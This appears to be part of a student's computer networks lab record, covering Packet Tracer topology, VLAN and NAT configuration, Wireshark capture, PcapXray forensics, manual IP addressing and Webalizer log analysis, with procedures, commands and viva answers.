5. **Why is threading used in the server?**

   Ans: So that each client connection is handled without blocking the others.

Ex. No. 9 : Design a Simple Topology Using Cisco Packet Tracer

Experiment No.	9	Date	09-11-2026
Time	02:00 PM - 03:30 PM	Signature of Staff	
Marks			

Aim

To design and configure a network topology with one router, two switches and four PCs in Cisco Packet Tracer, and verify inter-network communication using ping.

Theory / Introduction

A network topology describes how devices and links are arranged. Here two LANs (192.168.1.0/24 and 192.168.2.0/24) are joined by a router. Hosts in one LAN cannot reach the other directly; each must send traffic to its default gateway, which is the router interface on its own subnet.

A switch forwards frames within a LAN by learning MAC addresses. A router forwards IP packets between networks using its routing table. Each router interface is the default gateway for one subnet, and each PC must be configured with an IP address, subnet mask and gateway on the same subnet.

Cisco Packet Tracer is a simulator that allows a topology to be built, configured and tested without physical hardware.

Apparatus / Requirements

- Cisco Packet Tracer (version 8.x or later)
- 1 Router (1841 or ISR 4321), 2 Switches (2960-24TT), 4 PCs, copper straight-through cables

Algorithm / Procedure

1. Place one router, two 2960 switches and four PCs in the workspace.
2. Connect PC1 and PC2 to Switch1 (Fa0/1, Fa0/2); PC3 and PC4 to Switch2 (Fa0/1, Fa0/2).
3. Connect Switch1 Gi0/1 to Router Gi0/0/0 and Switch2 Gi0/1 to Router Gi0/0/1.
4. On the router, configure both interfaces with no shutdown and the addresses 192.168.1.1/24 and 192.168.2.1/24.
5. On each PC: Desktop > IP Configuration > Static. PC1 192.168.1.2, PC2 192.168.1.3, PC3 192.168.2.2, PC4 192.168.2.3, all with the correct gateway and mask 255.255.255.0.
6. From PC1 run ping 192.168.2.2 and from PC3 run ping 192.168.1.2; both must succeed.

Commands

```
Router> enable
Router# configure terminal
Router(config)# interface gigabitEthernet 0/0/0
Router(config-if)# ip address 192.168.1.1 255.255.255.0
Router(config-if)# no shutdown
Router(config-if)# exit
Router(config)# interface gigabitEthernet 0/0/1
Router(config-if)# ip address 192.168.2.1 255.255.255.0
Router(config-if)# no shutdown
Router(config-if)# end
Router# show ip interface brief
```

Important Notes

- If the link light is amber, wait a few seconds for spanning tree to converge, or use the Realtime mode.
- Packets fail with 'Destination host unreachable' when a PC gateway is wrong.

Output

Paste screenshot of the Packet Tracer topology and successful ping replies from PC1 to 192.168.2.2.

Observation

The ping from PC1 to PC3 succeeds only after the router interfaces are up and each PC has the correct default gateway. A TTL of 127 in the reply shows that one router hop was crossed.

Result: Thus, a topology with one router, two switches, and four PCs was designed in Cisco Packet Tracer, and inter-network connectivity was verified using ping.

Viva Questions

1. What is Cisco Packet Tracer?

Ans: A network simulation tool used to design, configure and test networks virtually.

2. What is network topology?

Ans: The physical or logical arrangement of devices and links in a network.

3. What is the function of a switch?

Ans: It connects devices within a LAN and forwards frames to the correct port using MAC addresses.

4. What is the role of a router?

Ans: It connects different networks and forwards packets between them using IP routing.

5. What is a default gateway?

Ans: The router interface on a host's own subnet, used for traffic to other networks.

Ex. No. 10 : Customize Switch with Network Modules Using Cisco Packet Tracer

Experiment No.	10	Date	16-11-2026
Time	10:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To customize a switch by adding a network module, and to configure hostname, banner, passwords, VLAN and management IP address through the CLI.

Theory / Introduction

Modular switches have empty slots that accept additional interface modules, for example a fibre or extra copper module, to add ports or technologies. In Packet Tracer the switch must be powered off before a module is inserted, as on real hardware.

VLANs (Virtual LANs) divide one physical switch into separate broadcast domains. A port in access mode belongs to one VLAN. VLAN 1 is the default, and management traffic is usually carried on an SVI (interface vlan 1) with an IP address.

Running configuration is held in RAM and is lost at reboot; copy running-config startup-config saves it to NVRAM. Security basics include a console password, the enable secret (stored hashed) and a login banner.

Apparatus / Requirements

- Cisco Packet Tracer
- One 2960-24TT switch with a module such as PT-SWITCH-NM-1CFE or equivalent, a PC for testing

Algorithm / Procedure

1. Drag a switch into the workspace and open its Physical tab.
2. Power off the switch, drag the module into an empty slot, and power it on.
3. Open the CLI tab and enter the configuration shown below.
4. Verify with show vlan brief and show ip interface brief.
5. Save with copy running-config startup-config.

Commands

```
Switch> enable
Switch# configure terminal
Switch(config)# hostname SW1
SW1(config)# banner motd #Authorised access only#
SW1(config)# line console 0
SW1(config-line)# password cisco
SW1(config-line)# login
SW1(config-line)# exit
SW1(config)# enable secret class
SW1(config)# vlan 10
SW1(config-vlan)# name SALES
SW1(config-vlan)# exit
SW1(config)# interface fastEthernet 0/1
SW1(config-if)# switchport mode access
SW1(config-if)# switchport access vlan 10
SW1(config-if)# exit
SW1(config)# interface vlan 1
SW1(config-if)# ip address 192.168.1.10 255.255.255.0
SW1(config-if)# no shutdown
SW1(config-if)# end
SW1# show vlan brief
SW1# copy running-config startup-config
```

Important Notes

- Enter the module-related ports as shown in the Physical tab; the new interface names follow the slot number.
- The VLAN 10 port must be assigned to the same VLAN as the PCs that should communicate with each other.

Output

Paste screenshot of the CLI showing show vlan brief and the new module interfaces.

Observation

show vlan brief lists VLAN 10 with the SALES name and the port Fa0/1 as an active access port, confirming the configuration.

Result: Thus, the switch was customized in Cisco Packet Tracer with a network module, and hostname, banner, passwords, VLAN and IP configuration were applied and saved.

Viva Questions

1. What is a network module in a switch?

Ans: A hardware component added to a switch to provide extra ports or technologies.

2. Why are switches customized with modules?

Ans: To add ports, support different media and meet specific network requirements.

3. How is a module added in Packet Tracer?

Ans: Turn off the switch, drag the module into an empty slot, then turn the switch back on.

4. What is a VLAN?

Ans: A logical partition of a switch into separate broadcast domains.

5. What is the difference between enable password and enable secret?

Ans: The enable secret is stored as a hash; the enable password is stored in plain text unless encrypted.

Ex. No. 11 : Examining Network Address Translation (NAT) Using Cisco Packet Tracer

Experiment No.	11	Date	16-11-2026
Time	02:00 PM - 03:30 PM	Signature of Staff	
Marks			

Aim

To examine Network Address Translation (NAT) by configuring a static NAT mapping on a router so that a private host can be reached through a public address.

Theory / Introduction

Private address ranges (10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16) are not routed on the public Internet. NAT rewrites the source or destination IP address of packets at a border router, so that many private hosts can share a limited number of public addresses and internal addresses stay hidden.

There are three types. Static NAT maps one private address to one public address permanently, which allows inbound access to a server. Dynamic NAT maps private addresses to a pool of public addresses on demand. PAT (NAT overload) maps many private addresses to one public address using different port numbers.

An important point for the test: outbound connections (inside to outside) work with NAT because the router creates a translation entry. Unsolicited inbound traffic is blocked unless a static mapping exists for that address. Therefore a PC on the private side can reach the public server, while the reverse depends entirely on the static mapping that is configured.

Apparatus / Requirements

- Cisco Packet Tracer
- 2 Routers (R1, R2), 2 Switches (S1, S2), 3 PCs, 1 Server, Ethernet and serial cables

Algorithm / Procedure

1. Cable the devices: PC1 and PC2 to S1, S1 Gi0/0 to R1; Server to S2, S2 Gi0/0 to R2; R1 Serial0/0/0 to R2 Serial0/0/0.
2. Assign IP addresses to PC1, PC2, PC3 and the Server from Desktop > IP Configuration, with the correct gateway.
3. On the Server, use Services > HTTP to edit index.html, change the heading, and check it from PC1's browser.
4. Configure each router interface on the Config tab: tick On and enter the address and mask.
5. On R1, configure the static NAT mapping from the CLI (inside local to inside global).
6. On R2, add static routes (Config > Static) so that the public addresses are reachable.
7. Test: send a simple PDU and ping from PC3 to PC2 (inside to outside path) and from PC2 to PC3 (outside to inside path); record which succeed.

Commands

```
R1(config)# interface gigabitEthernet 0/0
R1(config-if)# ip address 192.168.1.1 255.255.255.0
R1(config-if)# ip nat inside
R1(config-if)# exit
R1(config)# interface serial 0/0/0
R1(config-if)# ip address 203.0.113.1 255.255.255.252
R1(config-if)# ip nat outside
R1(config-if)# exit
R1(config)# ip nat inside source static 192.168.1.2 203.0.113.2
R1# show ip nat translations
R1# show ip nat statistics
```

Important Notes

- Use the addresses from your own plan; the values above are an example from a public documentation range.
- Record the results in a two-row table: test, expected result, observed result.

Output

Paste screenshot of the PDU result and ping results, and show ip nat translations output from R1.

Observation

The inside host reaches the outside server, and the static translation appears in show ip nat translations. The outside-to-inside ping is answered only after the static mapping is in place.

Result: Thus, Network Address Translation was examined in Cisco Packet Tracer; the static mapping and routing were configured, and connectivity was verified with ping and PDU tests.

Viva Questions

1. What is NAT?

Ans: A technique that rewrites IP addresses in packets, usually converting private addresses to public ones so that local devices can reach the Internet.

2. Why is NAT used?

Ans: To conserve public IPv4 addresses and hide internal addresses for security.

3. What is PAT?

Ans: Port Address Translation, also called NAT overload; many private hosts share one public IP using different port numbers.

4. What is the difference between static and dynamic NAT?

Ans: Static NAT is a fixed one-to-one mapping; dynamic NAT assigns addresses from a pool as needed.

5. Which private address ranges are defined?

Ans: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16.

Ex. No. 12 : To Capture, Save and Analyze Network Traffic Using Wireshark

Experiment No.	12	Date	23-11-2026
Time	10:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To capture, save and analyse network traffic for TCP, UDP, IP, HTTP, ARP, DHCP, ICMP and DNS using Wireshark, using capture and display filters.

Theory / Introduction

Wireshark is a graphical packet analyser that captures frames from a network interface using libpcap (Linux) or Npcap (Windows). It decodes each protocol layer and shows fields such as addresses, ports, flags and sequence numbers.

Capture filters use BPF syntax and are applied before capture, so they limit what is stored. Display filters use Wireshark's own syntax and only hide or show packets already captured. For example, tcp.port == 443 is a display filter, while port 443 is a capture filter.

The protocols in this experiment: ARP resolves IP to MAC on a LAN; DHCP (ports 67 and 68) leases addresses; DNS (port 53) resolves names; ICMP carries ping messages; TCP provides reliable transport with the SYN, SYN-ACK, ACK handshake; UDP is connectionless; HTTP (port 80) carries web requests.

Apparatus / Requirements

- Wireshark (wireshark.org) with Npcap on Windows, or Wireshark on Linux with sudo
- A browser and a terminal for generating traffic (ping, nslookup, curl)

Algorithm / Procedure

1. Install Wireshark and select the active Wi-Fi or Ethernet interface.
2. Apply the capture filter, start the capture, and generate traffic: ping a gateway, run nslookup example.com, and open a web page.
3. Stop the capture and save it using File > Save As in .pcapng format.
4. Apply display filters for each protocol: arp, dns, icmp, tcp, udp, http, bootp.
5. Use Follow > TCP Stream, Statistics > Protocol Hierarchy, Conversations and Expert Information.
6. Record one packet per protocol with its source, destination, length and key field.

Commands

```
Capture filters:  tcp | udp | arp | icmp | udp port 67 or udp port 68 | port 53
Display filters:  tcp | udp | ip | http | arp | bootp | icmp | dns
Example:          tcp.port == 443      ip.addr == 192.168.1.25
```

Important Notes

- Name the capture file after the experiment, for example CN_Lab_Capture.pcapng, and keep it with the record.
- On a switched network a PC normally sees only its own traffic and broadcasts.

Output

Paste screenshot of Wireshark showing one packet for each protocol with the display filter in the top bar.

Observation

DNS query and response pairs are seen before the TCP handshake to the web server, and each TCP stream begins with SYN, SYN-ACK and ACK. ARP requests are broadcast and the reply is unicast.

Result: Thus, network packets for the specified protocols were captured, saved, and analysed using Wireshark.

Viva Questions

1. What is Wireshark?

Ans: A network protocol analyser that captures, monitors and analyses network traffic.

2. What is a capture filter?

Ans: A BPF filter applied during capture to store only matching traffic, for example host 192.168.1.1.

3. What is a display filter?

Ans: A filter that shows selected packets from the saved capture without changing it, for example http.

4. What does the TCP handshake consist of?

Ans: SYN from the client, SYN-ACK from the server, then ACK from the client.

5. Which port does DHCP use?

Ans: UDP 67 for the server and 68 for the client.

Ex. No. 13 : Network Forensics Using PcapXray Tool

Experiment No.	13	Date	23-11-2026
Time	02:00 PM - 03:30 PM	Signature of Staff	
Marks			

Aim

To analyse a PCAP file with PcapXray and visualise hosts, protocols and communication flows for a basic network forensic investigation.

Theory / Introduction

Network forensics is the capture, recording and analysis of network traffic to investigate security incidents and collect evidence. A PCAP file is a stored record of packets, and it can be replayed or analysed offline long after the traffic occurred.

PcapXray is a Python tool that reads a PCAP, reconstructs the hosts and their communications, and draws a network diagram with the protocols and ports in use. Such diagrams help an investigator spot unexpected hosts, unusual ports, or traffic to unknown destinations.

Good forensic practice keeps the original file unchanged, works on a copy, records hash values of the evidence, and documents each finding with the packet number or timestamp that supports it.

Apparatus / Requirements

- Python 3, pip, Graphviz (for diagrams), and the PcapXray source
- The PCAP file supplied by the lab instructor

Algorithm / Procedure

1. Copy the PCAP file to a working folder and compute its hash: sha256sum file.pcap.
2. Install dependencies: sudo pip3 install -r requirements.txt.
3. Start the tool: sudo python3 PcapXray.py and open the web interface shown in the terminal.
4. Upload the PCAP file and click Analyze.
5. Examine the topology: hosts, protocols (DNS over UDP 53, TCP 443, HTTPS) and any suspicious connections.
6. Save the generated report and diagrams with the hash value in the record.

Commands

```
$ sha256sum capture.pcap
$ sudo pip3 install -r requirements.txt
$ sudo python3 PcapXray.py
```

Important Notes

- Do not modify the evidence file; use a copy for all analysis.
- Hosts shown in the diagram must be confirmed against the packet list before they are reported as suspicious.

Output

Paste screenshot of the PcapXray topology and communication graph for the supplied PCAP file.

Observation

The graph shows the host with its private address communicating with a DNS server over UDP 53 and with a web server over TCP 443. Each edge is labelled with the protocol and port observed in the capture.

Result: Thus, network-forensics analysis was performed with PcapXray to visualise hosts, protocols, and communication flows in the supplied PCAP file.

Viva Questions

1. What is network forensics?

Ans: Capturing, monitoring and analysing network traffic to investigate incidents and collect evidence.

2. What is a PCAP file?

Ans: A file that stores network packets captured from an interface for later analysis.

3. What information can be obtained from a PCAP?

Ans: Source and destination IPs, protocols, timestamps, ports and transmitted data.

4. Why compute a hash of the evidence?

Ans: To prove that the file has not changed since it was collected.

5. What is the purpose of Graphviz here?

Ans: It renders the graph description into an image or diagram.

Ex. No. 14 : Learning and Assignment of IP Address Manually to Computers

Experiment No.	14	Date	30-11-2026
Time	10:00 AM - 12:00 PM	Signature of Staff	
Marks			

Aim

To manually assign a static IPv4 address, subnet mask, default gateway and DNS servers to a Windows computer, and verify the configuration with ipconfig.

Theory / Introduction

Hosts obtain IP configuration either dynamically from a DHCP server or statically from an administrator. Static addressing is used for servers, printers, network equipment and lab machines where the address must not change.

An IPv4 address is 32 bits written in dotted decimal. The subnet mask marks the network part; with mask 255.255.0.0 (/16) the network for 172.16.36.100 is 172.16.0.0, so any host in 172.16.x.x is on the same LAN. The default gateway is the router address used for destinations outside that network. The DNS server resolves names to addresses.

Two rules must hold: no two hosts may share an address on the same LAN (otherwise an IP conflict occurs), and the gateway must lie in the same subnet as the host.

Apparatus / Requirements

- Windows 10 or 11 PC with administrator rights
- Address plan from the instructor

Algorithm / Procedure

1. Open Control Panel > Network and Sharing Center > Change adapter settings.
2. Right-click the active adapter > Properties > Internet Protocol Version 4 (TCP/IPv4) > Properties.
3. Select 'Use the following IP address' and enter IP 172.16.36.100, Subnet mask 255.255.0.0, Default gateway 172.16.36.1.
4. Select 'Use the following DNS server addresses': Preferred 172.16.36.1, Alternate 8.8.8.8.
5. Click OK, open Command Prompt, run ipconfig /all and ping the gateway and 8.8.8.8 to confirm.

Commands

```
C:\> ipconfig /all
C:\> ping 172.16.36.1
C:\> ping 8.8.8.8
C:\> nslookup example.com
```

Important Notes

- Record the BEFORE configuration (DHCP or 192.168.1.25) first so that it can be restored after the lab.
- If the adapter is DHCP-enabled, it must be switched to manual before the address can be typed.

Output

Paste BEFORE and AFTER screenshots of ipconfig /all.

Observation

The BEFORE output shows a 192.168.1.x address with a DHCP server. The AFTER output shows 172.16.36.100, mask 255.255.0.0, gateway 172.16.36.1 and the configured DNS entries.

Result: Thus, IP addresses were assigned manually to the computer, and the configuration was validated using ipconfig.

Viva Questions

1. What is an IP address?

Ans: A unique numerical identifier assigned to a device so that it can communicate on a network.

2. Difference between static and dynamic IP?

Ans: A static address is set manually and stays fixed; a dynamic address is leased from a DHCP server and may change.

3. What does a subnet mask do?

Ans: It separates the network and host parts of an address, so a device can decide whether another address is local.

4. What is the purpose of a default gateway?

Ans: It forwards traffic destined for networks outside the local subnet.

5. What happens if two computers have the same IP?

Ans: An IP address conflict occurs and communication to that address becomes unreliable or fails.

Ex. No. 15 : To Analyze the Different Types of Servers Using Webalizer Tool

Experiment No.	15	Date	30-11-2026
Time	02:00 PM - 03:30 PM	Signature of Staff	
Marks			

Aim

To install Apache and Webalizer, generate web traffic, and analyse the server access log to study server activity, request patterns and the roles of different server types.

Theory / Introduction

A server is a program or machine that provides a service to clients. Common types are web servers (HTTP, for example Apache or Nginx), file servers (SMB or NFS), mail servers (SMTP, IMAP), database servers (MySQL, PostgreSQL), application servers and DNS servers (BIND). Each writes its own log of requests.

A log file records events such as each request with its time, client address, requested URL, status code and bytes sent. Apache writes this to /var/log/apache2/access.log in the Combined Log Format.

Webalizer reads an access log and produces an HTML report with hits, files, pages, visits, sites and kilobytes transferred, both monthly and daily. These metrics show traffic volume, popular resources and client activity, which are used for capacity planning and security review.

Apparatus / Requirements

- Ubuntu or Debian Linux with sudo rights
- Apache2 and Webalizer packages

Algorithm / Procedure

1. Update the package list: sudo apt update.
2. Install and start Apache: sudo apt install apache2 -y and sudo systemctl start apache2.
3. Install Webalizer: sudo apt install webalizer -y.
4. Generate traffic with curl http://localhost/ several times.
5. Create the report folder and run Webalizer on the access log.
6. Open http://localhost/webalizer/ in a browser and record the summary values.

Commands

```
sudo apt update
sudo apt install apache2 -y
sudo systemctl start apache2
sudo apt install webalizer -y
for i in 1 2 3 4 5; do curl -s http://localhost/ > /dev/null; done
sudo mkdir -p /var/www/html/webalizer
sudo webalizer -o /var/www/html/webalizer /var/log/apache2/access.log
# open in browser: http://localhost/webalizer/
```

Important Notes

- Webalizer reads the log at the time it runs; re-run it after more traffic to refresh the report.
- Log files can contain client IP addresses; handle them as personal data.

Output

Paste screenshot of the Webalizer report page (monthly summary and daily chart).

Observation

The hit and visit counts increase after each curl command. The report lists the requested URLs, the status codes and the bytes transferred, which show how the web server is used.

Result: Thus, Webalizer was used to analyse server logs, and the traffic, usage and request statistics of a web server were reviewed.

Viva Questions

1. What is Webalizer?

Ans: A web server log analysis tool that generates graphical and statistical reports from log files.

2. What is a log file?

Ans: A file that records events, requests and activity on a server or application.

3. Name some common types of servers.

Ans: Web, file, mail, database, application and DNS servers.

4. What is a hit compared with a visit?

Ans: A hit is any request to the server; a visit is a series of requests from one client within a time window.

5. Where does Apache store its access log?

Ans: /var/log/apache2/access.log on Debian and Ubuntu.

Appendix A - Expanded Linux Command Outputs

Insert your own genuine terminal captures for pwd, ls -lah, ps -e | head, free -h, ping -c 4 127.0.0.1, ip addr show and ss -tuln | head. Captured output of your own machine must replace any sample text.

Paste genuine screenshot / capture here before submission.

Appendix B - Expanded Windows Command Outputs

Insert your own genuine captures of ipconfig /all, ping, tracert -d, arp -a, nslookup and netstat -ano | findstr LISTENING.

Paste genuine screenshot / capture here before submission.

Appendix C - Socket Programming and Network Tools

Insert captures of the TCP server and client, UDP server and client, custom ping, raw-socket sniffer and XML-RPC calculator runs from this record.

Paste genuine screenshot / capture here before submission.

Appendix D - Scanning, Packet Analysis and Simulator Outputs

Insert captures of the Nmap host-discovery run, FTP scanner run, Packet Tracer VLAN and NAT verification (show vlan brief, show ip nat translations).

Paste genuine screenshot / capture here before submission.

Appendix E - Wireshark Packet Analysis

Insert the full Wireshark window (packet list and selected packet details) from your own capture file CN_Lab_Capture.pcapng. Record at least one ARP, DNS, ICMP, TCP and HTTP packet with its fields.

Paste genuine screenshot / capture here before submission.